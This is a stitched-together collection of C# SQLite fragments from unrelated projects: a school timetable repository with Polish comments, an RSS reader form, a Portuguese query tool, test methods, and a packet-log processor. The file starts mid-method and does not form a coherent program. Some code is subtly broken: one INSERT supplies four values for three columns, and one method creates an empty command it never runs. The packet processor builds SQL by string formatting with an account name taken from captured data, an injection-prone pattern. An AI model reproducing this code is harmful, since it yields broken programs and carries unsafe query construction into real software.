System.Data.SQLite.SQLiteCommand dbCommand = _dbConnection.CreateCommand();
var tableCreationString = "CREATE TABLE IF NOT EXISTS " +
"Tasks (TaskId INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
"Name VARCHAR(100), Status VARCHAR(50));";
dbCommand.CommandText = tableCreationString;
dbCommand.ExecuteNonQuery();
}
catch
{
Console.WriteLine("Database setup failed.");
Console.ReadLine();
}
}
public async Task<int> ExecAsync(SQLiteConnection conn)
{
var sql = GetQueryString();
if (!sql.Any()) return 0;
#if DEBUG
Console.WriteLine(sql + System.Environment.NewLine);
#endif
using(var cmd = conn.CreateCommand())
{
SetQuery(cmd);
return await cmd.ExecuteNonQueryAsync();
}
}
public void AddNewClass(ClassModel clazz)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "INSERT INTO Classes (ClassId, ClassName) VALUES(@Id, @Name)";
cmd.Parameters.AddWithValue("@Id", clazz.Id);
cmd.Parameters.AddWithValue("@Name", clazz.Name);
cmd.ExecuteNonQuery();
}
}
}
public void CreateCacheManagementDBIfNotExists()
{
var dbFilePath = Path.Combine(_root, "cache_mgr.db");
if(!File.Exists(dbFilePath))
{
using (var connection = new System.Data.SQLite.SQLiteConnection("Data Source=" + dbFilePath + ";Version=3;"))
{
var createTableCmd = connection.CreateCommand();
createTableCmd.CommandText = "";
}
}
}
//uzytkownicy
public void AddNewStudent(StudentModel user)
{
var student = user as StudentModel;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"INSERT INTO Students (Name, Surname, Gender, ClassId)
VALUES (@name, @surname, @gender, @classId)";
cmd.Parameters.AddWithValue("@name", user.Name);
cmd.Parameters.AddWithValue("@surname", user.Surname);
int gen = (user.Gender)? 1 : 0;
cmd.Parameters.AddWithValue("@gender", gen);
cmd.Parameters.AddWithValue("@classId", student != null ? (object)student.Class.Id : DBNull.Value);
cmd.ExecuteNonQuery();
}
}
}
public MainForm()
{
//
// The InitializeComponent() call is required for Windows Forms designer support.
//
InitializeComponent();
RssCache = new List<RssCacheItem>();
try {
this.AppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (!System.IO.Directory.Exists(this.AppDataPath + "\\BmReader")){
System.IO.Directory.CreateDirectory(this.AppDataPath + "\\BmReader");
}
this.AppDataPath += "\\BmReader";
if (!System.IO.File.Exists(this.AppDataPath + "\\data.db")){
//System.Data.SQLite.SQLiteConnection.CreateFile(this.AppDataPath + "\\data.db");
}
conn =
new System.Data.SQLite.SQLiteConnection(String.Format("Data Source={0};Version=3;", this.AppDataPath + "\\data.db"));
conn.Open();
if(conn.GetSchema("Tables",new string[]{null, null, "URLRSS", null}).Rows.Count == 0){
System.Data.SQLite.SQLiteCommand cmd = conn.CreateCommand();
cmd.CommandText = "CREATE TABLE URLRSS (id integer primary key, Url CHAR(1000), active Boolean true)";
cmd.ExecuteNonQuery();
}
System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter("select * from urlrss", conn);
System.Data.SQLite.SQLiteCommandBuilder cb = new System.Data.SQLite.SQLiteCommandBuilder(da);
LoadFeeds();
} catch (Exception err){
MessageBox.Show(err.Message);
Application.Exit();
}
}
private void btnConsultar_Click(object sender, EventArgs e)
{
try
{
this.Cursor = Cursors.WaitCursor;
DicCompileExample = new Dictionary<string, Func<CompilerWithFuzzy.Compiler.Syn.ParseTree.Container, string>>();
DicCompileExample.Add("Tabela", c => string.Format("{0}", c["nometabela"].Value));
DicCompileExample.Add("Campo", CompilarCampo);
DicCompileExample.Add("Initial", CompilarInitial);
DicCompileExample.Add("Condicao", Condicao);
cxp.Compiler.DicCompile = DicCompileExample;
try
{
cxp.Compiler.Compile(richTextConsulta.Text);
if (!string.IsNullOrEmpty(cxp.Compiler.CodeCompiled))
{
linkLabel.Text = "Correto: " + cxp.Compiler.CodeModifySource;
if (cxp.Compiler.CodeModifySource.ToLower() != richTextConsulta.Text.ToLower())
{
linkLabel.Visible = true;
}
else
{
linkLabel.Visible = false;
}
try
{
using (System.Data.SQLite.SQLiteConnection sql = new System.Data.SQLite.SQLiteConnection("data source=Banco; Version=3;"))
{
sql.Open();
using (var command = sql.CreateCommand())
{
command.CommandText = cxp.Compiler.CodeCompiled;
using (var reader = command.ExecuteReader())
{
DataTable dt = new DataTable();
dt.Load(reader);
dgvResultado.DataSource = dt;
dgvResultado.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;
lblMensagem.Text = "Consulta realizada com sucesso!";
lblMensagem.ForeColor = Color.Green;
}
}
}
}
catch (Exception ex)
{
lblMensagem.Text = "Erro ao executar consulta! Msg: " + ex.ToString();
lblMensagem.ForeColor = Color.Red;
}
}
else
{
lblMensagem.Text = "Verifique sua consulta!";
lblMensagem.ForeColor = Color.Red;
}
}
catch (Exception ex)
{
lblMensagem.Text = "Verifique sua consulta!";
lblMensagem.ForeColor = Color.Red;
}
}
finally
{
this.Cursor = Cursors.Default;
}
}
//repozytorium Timetable
public void AddNewTimeTable(TimeTableModel timetable)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "INSERT INTO TimeTables (Day, ClassId, SubjectId) VALUES(@Id, @Day, @ClassId, @SubjectId)";
cmd.Parameters.AddWithValue("@Day", timetable.Day);
cmd.Parameters.AddWithValue("@ClassId", timetable.Class.Id);
cmd.Parameters.AddWithValue("@SubjectId", timetable.Subject.Id);
cmd.ExecuteNonQuery();
}
}
}
public void Insert_into_test_table_test()
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using(var cmd = connection.CreateCommand())
{
cmd.CommandText = "INSERT INTO Test (Name) VALUES('aaaa')";
cmd.ExecuteNonQuery();
}
}
}
TimeTableModel GetTimeTableById(int timetableId)
{
TimeTableModel timeTable = null;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM TimeTables WHERE Id =@id";
cmd.Parameters.AddWithValue("@id", timetableId);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
int id = Convert.ToInt32(reader["Id"]);
string day = reader["Day"].ToString();
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
var subjectId = reader["SubjectId"] == DBNull.Value ? null : (object)reader["SubjectId"].ToString();
ClassModel clazzz = this.GetClassById(classId.ToString());
SubjectModel sub = this.GetSubjectById(subjectId.ToString());
timeTable = new TimeTableModel(id, day, clazzz, sub);
}
}
}
}
return timeTable;
}
IList<StudentModel> GetStudentsByClass(string id)
{
IList<StudentModel> list = new List<StudentModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM Students WHERE ClassId = @id";
cmd.Parameters.AddWithValue("@id", id);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var surname = reader["Surname"].ToString();
var name = reader["Name"].ToString();
var gen = reader["Gender"];
bool gender = Convert.ToBoolean(gen);
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
ClassModel clazz = this.GetClassById(classId.ToString());
var user = new StudentModel(name, surname, clazz, gender);
list.Add(user);
}
}
}
}
return list;
}
StudentModel GetStudentByFullName(string fullName)
{
StudentModel user = null;
string[] tab = fullName.Split(new char[] { ' ' });
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM Students WHERE (Name = @name AND Surname = @surname)";
cmd.Parameters.AddWithValue("@surname", tab[0]);
cmd.Parameters.AddWithValue("@name", tab[1]);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var surname = reader["Surname"].ToString();
var name = reader["Name"].ToString();
var gen = reader["Gender"];
bool gender = Convert.ToBoolean(gen);
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
ClassModel clazz = this.GetClassById(classId.ToString());
user = new StudentModel(name, surname, clazz, gender);
}
}
}
}
return user;
}
public List<SubjectModel> GetAllSubjects()
{
List<SubjectModel> result = new List<SubjectModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "SELECT SubjectId, SubjectName FROM Subjects";
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var id = reader["SubjectId"].ToString();
var name = reader["SubjectName"].ToString();
var subject = new SubjectModel(id, name);
result.Add(subject);
}
}
}
}
return result;
}
public ClassModel GetClassById(string id)
{
ClassModel clazz = null;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "SELECT * FROM Classes WHERE ClassId = @Id";
cmd.Parameters.AddWithValue("@Id", id);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var idd = reader["ClassId"].ToString();
clazz = new ClassModel(idd);
}
}
}
}
return clazz;
}
//repozytorium klas
public void AddNewSubject(SubjectModel subject)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "INSERT INTO Subjects (SubjectId, SubjectName) VALUES(@Id, @Name)";
cmd.Parameters.AddWithValue("@Id", subject.Id);
cmd.Parameters.AddWithValue("@Name", subject.Name);
cmd.ExecuteNonQuery();
}
}
}
private static void Test2(string connString)
{
Console.WriteLine("Begin Test2");
using (var dbConn = new System.Data.SQLite.SQLiteConnection(connString))
{
dbConn.Open();
using (System.Data.SQLite.SQLiteCommand cmd = dbConn.CreateCommand())
{
//create table
cmd.CommandText = @"CREATE TABLE IF NOT EXISTS T1 (ID integer primary key, T text);";
cmd.ExecuteNonQuery();
//parameterized insert - more flexibility on parameter creation
cmd.CommandText = @"INSERT INTO T1 (ID,T) VALUES(@id,@t)";
cmd.Parameters.Add(new System.Data.SQLite.SQLiteParameter
{
ParameterName = "@id",
Value = 1
});
cmd.Parameters.Add(new System.Data.SQLite.SQLiteParameter
{
ParameterName = "@t",
Value = "test2"
});
cmd.ExecuteNonQuery();
//read from the table
cmd.CommandText = @"SELECT ID, T FROM T1";
using (System.Data.SQLite.SQLiteDataReader reader = cmd.ExecuteReader())
{
while (reader.Read())
{
long id = reader.GetInt64(0);
string t = reader.GetString(1);
Console.WriteLine("record read as id: {0} t: {1}", id, t);
}
}
}
if (dbConn.State != System.Data.ConnectionState.Closed) dbConn.Close();
}
Console.WriteLine("End Test2");
}
public List<ClassModel> GetAllClasses()
{
List<ClassModel> result = new List<ClassModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "SELECT ClassId FROM Classes";
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var id = reader["ClassId"].ToString();
var clazz = new ClassModel(id);
result.Add(clazz);
}
}
}
}
return result;
}
public void Select_from_test_table_test()
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "SELECT * FROM Test WHERE Id = @Id";
cmd.Parameters.AddWithValue("@Id", 1);
using(var reader = cmd.ExecuteReader())
{
while(reader.Read())
{
var id = reader["Id"].ToString();
var name = reader["Name"].ToString();
}
}
}
}
}
public SubjectModel GetSubjectById(string id)
{
SubjectModel subject = null;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "SELECT * FROM Subjects WHERE SubjectId = @Id";
cmd.Parameters.AddWithValue("@Id", id);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var idd = reader["SubjectId"].ToString();
var name = reader["SubjectName"].ToString();
subject = new SubjectModel(idd, name);
}
}
}
}
return subject;
}
IList<TimeTableModel> GetAllTimeTable()
{
IList<TimeTableModel> timeTable = new List<TimeTableModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM TimeTables";
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
int id = Convert.ToInt32(reader["Id"]);
string day = reader["Day"].ToString();
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
var subjectId = reader["SubjectId"] == DBNull.Value ? null : (object)reader["SubjectId"].ToString();
ClassModel clazzz = this.GetClassById(classId.ToString());
SubjectModel sub = this.GetSubjectById(subjectId.ToString());
var timetable = new TimeTableModel(id, day, clazzz, sub);
timeTable.Add(timetable);
}
}
}
}
return timeTable;
}
public static void ProcessSniff(string filename, string todir)
{
var clientbuild = 0u;
var accountname = string.Empty;
var logstarted = DateTime.Now;
bool found = false;
bool empty = false;
using (var findcon = new System.Data.SQLite.SQLiteConnection())
{
findcon.ConnectionString = "Data Source=" + filename;
findcon.Open();
using (var tSQLiteCommand = findcon.CreateCommand())
{
var CMSG_AUTH_SESSION = 0x1ED;
tSQLiteCommand.CommandText = string.Format("select id, timestamp, direction, opcode, data from packets where opcode = {0} limit 1", CMSG_AUTH_SESSION);
using (var tempreader = tSQLiteCommand.ExecuteReader())
{
while (tempreader.Read())
{
var id = tempreader.GetInt32(0);
logstarted = tempreader.GetDateTime(1);
var direction = tempreader.GetInt32(2);
var opcode = tempreader.GetInt32(3);
var blob = (byte[])tempreader.GetValue(4);
using (var qs = new Reading.ReadingBase(blob))
{
found = true;
clientbuild = qs.ReadUInt32();
qs.ReadUInt32();
accountname = qs.ReadCString();
if (accountname.IsEmpty())
{
Console.WriteLine("Error");
}
break;
}
}
tempreader.Close();
empty = (clientbuild == 0);
}
}
if (!empty)
{
if (!found) throw new Exception("Invalid file");
string newdir = string.Format("{0}{1}\\", todir, clientbuild);
string newfile = string.Format(@"{0}{1}_{2}_{3}.sqlite", newdir, logstarted.ToString("yyyy-MM-dd-HH-mm"), clientbuild, accountname);
if (System.IO.File.Exists(newfile)) System.IO.File.Delete(newfile);// throw new Exception("File exists");
if (!System.IO.Directory.Exists(newdir)) System.IO.Directory.CreateDirectory(newdir);
System.Data.SQLite.SQLiteConnection.CreateFile(newfile);
var builder = new System.Data.SQLite.SQLiteConnectionStringBuilder();
builder.DataSource = newfile;
builder.CacheSize = builder.CacheSize * 100;
builder.PageSize = builder.PageSize * 100;
builder.JournalMode = System.Data.SQLite.SQLiteJournalModeEnum.Off;
builder.Pooling = false;
DateTime tstart = DateTime.Now;
using (var con = new System.Data.SQLite.SQLiteConnection(builder.ConnectionString))
{
con.Open();
//create tables
var sb = new StringBuilder();
sb.AppendLine("create table packets (id integer primary key autoincrement, timestamp datetime, direction integer, opcode integer, data blob);");
sb.AppendLine("create table header (key string primary key, value string);");
sb.AppendLine(string.Format("insert into header(key, value) values ('clientBuild', '{0}');", clientbuild));
sb.AppendLine("insert into header(key, value) values ('clientLang', 'enUS');");
sb.AppendLine(string.Format("insert into header(key, value) values ('accountName', '{0}');", accountname));
using (System.Data.SQLite.SQLiteCommand command = con.CreateCommand())
{
command.CommandText = sb.ToString();
command.ExecuteNonQuery();
}
Console.WriteLine("start processing newfile: {0} filename: {1}", tstart, newfile);
try
{
using (var dbTrans = con.BeginTransaction())
{
using (var command = con.CreateCommand())
{
command.CommandText = "insert into packets (timestamp, direction, opcode, data) VALUES (?,?,?,?)";
var timestamp = command.CreateParameter();
timestamp.DbType = System.Data.DbType.DateTime;
command.Parameters.Add(timestamp);
var direction = command.CreateParameter();
direction.DbType = System.Data.DbType.Int32;
command.Parameters.Add(direction);
var opcode = command.CreateParameter();
opcode.DbType = System.Data.DbType.Int32;
command.Parameters.Add(opcode);
var data = command.CreateParameter();
data.DbType = System.Data.DbType.Binary;
command.Parameters.Add(data);
using (var tSQLiteCommand = findcon.CreateCommand())
{
var t = DateTime.Now;
tSQLiteCommand.CommandText = "select * from packets ";
using (var tempreader = tSQLiteCommand.ExecuteReader())
{
bool badopcode = false;
try
{
while (tempreader.Read())
{
var _id = tempreader.GetInt32(0);
var _timestamp = tempreader.GetDateTime(1);
var _direction = tempreader.GetInt32(2);
var _opcode = tempreader.GetInt32(3);
var _blob = (byte[])tempreader.GetValue(4);
if (_opcode > 1311)
{
Console.WriteLine("Error: Invalid opcode {0}", _opcode);
break;
}
else if (!badopcode)
{
try
{
timestamp.Value = _timestamp;
direction.Value = _direction;
opcode.Value = _opcode;
data.Value = _blob;
if (command.ExecuteNonQuery() <= 0)
{
throw new Exception("record not inserted?");
}
}
catch (Exception exc)
{
Console.WriteLine("Error: {0}", exc.Message);
}
}
}
}
catch (Exception exc)
{
Console.WriteLine("Error: {0}", exc.Message);
}
tempreader.Close();
}
}
}
dbTrans.Commit();
}
}
catch (Exception exc)
{
Console.WriteLine("Error: {0}", exc.Message);
}
con.Close();
}
}
}
}
